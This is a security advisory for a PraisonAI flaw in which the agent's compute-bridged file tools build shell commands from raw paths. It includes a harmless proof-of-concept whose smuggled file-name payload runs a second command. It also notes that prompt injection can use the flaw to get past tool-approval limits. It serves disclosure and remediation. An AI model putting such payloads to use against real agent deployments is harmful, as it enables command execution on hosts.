GHSA-w6h2-fr4q-xvxv CVE-2026-57117 PYSEC-2026-3522

PraisonAI: Compute-bridged file tools allow shell command injection

High PyPI

Severity: 8.8 / 10; High · CVSS 3.1
Exploit chance (EPSS): 0.58%; Chance of exploitation in the next 30 days. Higher than 47.74% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'); CWE-863 Incorrect Authorization
Fix: 4.6.59; Upgrade praisonai to this version or later

Description

Compute-bridged file tools allow shell command injection

Summary

LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.

An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.

Affected Product

Repository: MervinPraison/PraisonAI
Package: praisonai
Component: src/praisonai/praisonai/integrations/managed_local.py
Confirmed affected:
- v4.6.10
- v4.6.56
- v4.6.57
- current main at 2f9677abb2ea68eab864ee8b6a828fd0141612e1
Confirmed not affected:
- v4.6.9
- v4.6.1
- v4.5.149
Suggested affected range: >= 4.6.10, <= 4.6.57

Root Cause

Current managed_local.py defines the bridged tool set:

compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}

For file tools, _bridge_file_tool() constructs shell command strings:

command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'

The local compute provider executes the string with asyncio.create_subprocess_shell(...); the Docker compute provider executes it with ["sh", "-c", command].

The bridge keeps the low-risk read_file / list_files tool names and signatures while changing their execution primitive into shell interpretation.

Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.

The normal read_file and list_files implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks execute_command as critical, while read_file and list_files are not dangerous-tool entries.

Impact

An application that exposes a PraisonAI agent using LocalManagedAgent or SandboxedAgent with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to read_file or list_files.

This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting execute_command.

Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.

Minimal inline reproducer:

import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig(
    name="prai-cand-006-poc",
    tools=["read_file", "list_files"],
    working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')

print("normal_read_contains_canary", canary in normal_read)
print("normal_list_contains_canary", canary in normal_list)
print("bridged_read_contains_canary", canary in bridged_read)
print("bridged_list_contains_canary", canary in bridged_list)

Command:

python3 \
  submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \
  --repo artifacts/repos/praisonai-current

Current-head result:

{
  "describe": "v4.6.57-4-g2f9677ab",
  "vulnerable": true,
  "normal_controls": {
    "read_file_payload_contains_canary": false,
    "list_files_payload_contains_canary": false
  },
  "bridged_results": {
    "read_file_payload_contains_canary": true,
    "list_files_payload_contains_canary": true
  },
  "approval_registry": {
    "execute_command_risk": "critical",
    "read_file_risk": null,
    "list_files_risk": null
  }
}

The payload used by the PoV is:

missing"; printf "$PRAI_CAND_006_CANARY"; #

Normal read_file treats this as a literal missing filename. The bridged tool constructs:

cat "missing"; printf "$PRAI_CAND_006_CANARY"; #"

and returns the canary from the compute shell.

Suggested Fix

Do not implement file operations by constructing shell command strings from path/content arguments.

Preferred fix:

Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it.
Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools.
Treat write_file content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter.
Add regression tests that use paths containing ", ;, $(), backticks, newline, and # and assert no shell execution occurs.
Keep execute_command as the only bridge path that intentionally accepts a shell command string, with critical approval semantics.

A minimal stopgap is to remove read_file, list_files, and write_file from compute_bridged_tools until safe provider-native file operations exist.

Suggested Severity

The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, PR:N may be appropriate.

Affected versions

PyPI

Package	Vulnerable	Fixed in
praisonai	`>= 4.6.10, < 4.6.59`	`4.6.59`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → `4.6.59`

pip

pip install --upgrade "praisonai>=4.6.59"

poetry

poetry add "praisonai>=4.6.59"

uv

uv add "praisonai>=4.6.59"

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: Low
User interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

How to prevent it

Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.